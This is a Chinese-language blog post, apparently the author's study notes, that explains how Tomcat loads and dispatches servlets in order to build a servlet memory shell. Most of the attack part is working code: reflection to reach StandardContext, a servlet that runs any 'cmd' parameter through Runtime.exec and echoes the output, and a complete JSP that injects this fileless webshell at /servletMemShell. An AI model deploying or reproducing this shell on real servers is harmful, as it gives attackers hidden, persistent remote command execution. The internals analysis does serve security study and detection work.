新开一个内存马的坑,虽然之前学了,但是很散,而且code没做集成。现在总的复习一遍,把code归到一个项目方便后续利用
内存马的概念就不提了
servlet内存马
环境搭建
先搭一个java web的环境(先用Tomcat8.5.x,如下:)
https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.61/


来个tomcat-catalina方便调试
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.61</version> </dependency>
|
看到HelloServlet有个@WebServlet的注解,这其实是自动完成了把类注入进/hello-servlet的web映射

效果等同于在WEB-INF/web.xml下写入以下代码,以xml形式注入
1 2 3 4 5 6 7 8
| <servlet> <servlet-name>HelloServlet</servlet-name> <servlet-class>org.example.tomcatmemshell.HelloServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>HelloServlet</servlet-name> <url-pattern>/hello-servlet</url-pattern> </servlet-mapping>
|

Tomcat控制台乱码:编辑自定义虚拟机选项,添加-Dfile.encoding=UTF-8


Tomcat虚拟机选项也加上-Dfile.encoding=UTF-8

servlet
servlet是一个Java应用程序,运行在服务器端,用来处理客户端请求并作出响应的程序。servlet没有main方法不能独立运行,需要使用servlet容器比如tomcat来创建。当我们通过URL来访问servlet,首先会在servlet容器中判断该URL是由哪个servlet处理的,当前容器中是否有这个servlet实例,如果没有则创建servlet实例,并交由对应servlet的service方法来处理请求,处理结束后再返回web服务器。

Servlet分别有以下几个方法:
1 2 3 4 5 6 7 8 9 10 11
| public interface Servlet { void init(ServletConfig var1) throws ServletException;
ServletConfig getServletConfig();
void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;
String getServletInfo();
void destroy(); }
|
在servlet生命周期中,service是处理请求的主方法,作为其实现类,HttpServlet在service方法中,根据不同类型调用了不同的doxxx方法去处理

而且Web应用程序的调用顺序是Listener -> Filter -> Servlet,Servlet马是最后触发的
web.xml加载
先把断点打在org.apache.catalina.startup.ContextConfig#webConfig方法,在该方法内完成了web.xml的加载
先是新建了一个webXmlParser,然后调用getContextWebXmlSource获取了本地web.xml的地址


其他的代码都是一些初始化和合并web.xml和fragments.xml的代码,具体的应用xml锁定到configureContext()

在大概1280行的样子,是对web.xml中的servlet进行循环解析。

介绍一下这个for循环的核心内容:
- 调用context.createWrapper新建StandardWrapper,这里的context是StandardContext

- 接着调用getLoadOnStartup,判断是否自定义懒加载模式,如果开启则设置wrapper为相应的模式

- setName设置ServletName

- setServletClass设置servlet的全限定名

以上的set从servlet变量值就能看出,最简单的servlet其实只有两个值需要设置,servletName,servletClass,连loadOnStartup都不用设置。所以理论上我们手动创建servlet也只需要调用setName和setServletClass即可组装一个StandardWrapper以供使用

- 最后调用了context.addChild,把配置好的StandardWrapper向context里装填

跟进到StanardContext.addChild,调用了父类ContainerBase的addChild

继续跟进,调用了addChildInternal

继续跟进,调用了child.start启动了这个子wrapper

在上一个for循环后面的一个for,遍历了所有的servletMappings,调用addServletMappingDecoded,根据参数一看就是添加URL映射

除此之外还有一个StandardWrapper的方法需要调用,是setServlet,这个方法是在实例化后调用的,现在初始化暂时调不出来

现在知道了向context添加自定义servlet的过程了:
1 2 3 4 5 6 7
| Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServlet(new ServletShell()) wrapper.setServletClass(servletShell.getClass().getName()); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell",name);
|
那怎样获取standardContext?
jsp获取standardContext
jsp里自带了对象request,且是tomcat catalina自带的org.apache.catalina.connector.RequestFacade,该类自带了getServletContext方法

随便写个jsp调用该方法,并打上断点访问

可以看到getServletContext取到的是ApplicationContextFacade,下面有个context变量是ApplicationContext,再进一层的context变量是StandardContext

我们可以通过两层反射取到StandardContext,而且每个 StandardContext 实例代表一个独立的Web应用程序,在一个web应用程序中,共用一个StandardContext
所以在jsp中取StandardContext如下:
1 2 3 4 5 6 7
| ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) request.getServletContext(); Field applicationContextFacadeField = applicationContextFacade.getClass().getDeclaredField("context"); applicationContextFacadeField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeField.get(applicationContextFacade); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
|
网上流传的request.getSession().getServletContext()其实结果和request.getServletContext结果一样

java获取standardContext
如果现在有一个反序列化执行java代码的入口,需要以java方式获取StandardContext,加上java并没有内置request对象。获取就会比较麻烦一些。而且JSP肯定可以用java的获取request的方法,所以不止这些获取StandardContext的方法,另开一文细说
servlet实例化
OK,现在根据下图,请求到达Server上的Tomcat service,是先交由connector连接器处理,断点打在Http11Protocol.service()上

前面的代码都是一些解析HTTP请求并赋值的操作,看到调用了getAdapter().service()

显然这里getAdapter()取到的就是CoyoteAdapter

跟进到CoyoteAdapter.service(),先是从org.apache.coyoye.Request封装中取出普通Request;Response同理

接着调用如下代码
1
| connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
|

其中getContatianer是返回engine,这一步就对应了上图connector转交给Engine处理的过程

connector.getService()返回StandardService
StandardService.getContainer()返回StandardEngine
StandardEngine.getPipeline()返回StandardPipeline
StandardPipeline.getFirst()返回StandardEngineValve
于是跟进到了StandardEngineValve.invoke,此时为上图的Engine模块中。通过Request.getHost()获取了主机名,然后调用host.getPipeline().getFirst().invoke

很显然,举一反三,这里的host为StandardHost,连跟几个invoke,跟进到StandardHostValve.invoke

下一步就是从host中获取context了,从代码也可以看出调用了request.getContext(),得到StandardContext,接着调用了getPipeline().getFirst().invoke,

中间的身份验证的东西先省略,大致可以看出是验证session的,来到AuthenticatorBase的getNext.invoke

跟进到StandardContextValue.invoke

然后是取Wrapper


OK现在跟进到了StandardWrapperValve.invoke,在该方法内,先是调用wrapper.allocate()

allocate()内,如果满足if条件,会调用loadServlet,虽然这里不会进入这个if,但是可以提前看一下loadServlet的内容

调用了instanceManger.newInstance,显然是实例化servlet类,前面在webConfig把servlet从web.xml加载到了StandardContext,但是因为Tomcat懒加载,并没有立即进行实例化
Tomcat具有懒加载的功能,启动Tomcat时,不会实例化servlet,等第一次访问servlet url时,才会调用org.apache.catalina.core.DefaultInstanceManager#newInstance(java.lang.String)
进行实例化

回到StandardWrapperValve.invoke
调用了ApplicationFilterFactory.createFilterChain()去创建一个Filter链,然后在if块内,如果是异步分派就是调用doInternalDispatch,如果不是就直接调用filterChain.doFilter。这段在之后分析Filter内存马的时候还会见到

这段不用自己去手动调用
现在假设有运行jsp代码的场景,写一个jsp的servlet内存马
内存马构造
首先写一个正常的servlet类,直接copy HelloServlet即可
然后是修改其生命周期内能用的方法,servlet init->doGet->destroy,修改doGet为执行命令
给一个上次复现MRCTF的shell,有列目录、读文件、RCE、JNI绕过RASP版RCE四个功能,详情看中字使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| System.out.println( "TomcatShellInject doFilter....................................................................."); String cmdParamName = "cmd"; String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null){
Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; }
byte[] toCString(String s) { if (s == null) { return null; } byte[] bytes = s.getBytes(); byte[] result = new byte[bytes.length + 1]; System.arraycopy(bytes, 0, result, 0, bytes.length); result[result.length - 1] = (byte) 0; return result; } private static byte[] getArgBlock(String[] cmdarray){ byte[][] args = new byte[cmdarray.length-1][]; int size = args.length; for (int i = 0; i < args.length; i++) { args[i] = cmdarray[i+1].getBytes(); size += args[i].length; } byte[] argBlock = new byte[size]; int i = 0; for (byte[] arg : args) { System.arraycopy(arg, 0, argBlock, i, arg.length); i += arg.length + 1; } return argBlock; }
|
插入到doGet里即可,jsp用<%! %>
声明类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| <%! public class ServletMemShell extends HttpServlet { private String message;
public void init() { message = "Hello World!"; }
public void doGet(HttpServletRequest servletRequest, HttpServletResponse servletResponse) throws IOException { System.out.println( "TomcatShellInject doFilter....................................................................."); String cmdParamName = "cmd"; String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null){
Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } }
public void destroy() { } } %>
|
完整servletShell.jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154
| <%@ page import="java.io.IOException" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="org.apache.catalina.core.ApplicationContextFacade" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.StandardWrapper" %><%-- Created by IntelliJ IDEA. User: 19583 Date: 2025/2/19 Time: 下午5:03 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <%! public class ServletMemShell extends HttpServlet { private String message;
public void init() { message = "Hello World!"; }
public void doGet(HttpServletRequest servletRequest, HttpServletResponse servletResponse) throws IOException { System.out.println( "TomcatShellInject doFilter....................................................................."); String cmdParamName = "cmd"; String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null){
Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } }
public void destroy() { } } %>
<% ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) request.getServletContext(); Field applicationContextFacadeField = applicationContextFacade.getClass().getDeclaredField("context"); applicationContextFacadeField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeField.get(applicationContextFacade); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
ServletMemShell servletMemShell = new ServletMemShell(); StandardWrapper standardWrapper = (StandardWrapper) standardContext.createWrapper(); standardWrapper.setName("servletMemShell"); standardWrapper.setServletClass(servletMemShell.getClass().getName()); standardWrapper.setServlet(servletMemShell); standardContext.addChild(standardWrapper); standardContext.addServletMappingDecoded("/servletMemShell", "servletMemShell");
%>
</body> </html>
|

http://wjlshare.com/archives/1541
https://halfblue.github.io/2020/04/24/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9B%9E%E6%98%BE%E8%87%AA%E9%97%AD%E4%B9%8B%E6%97%85/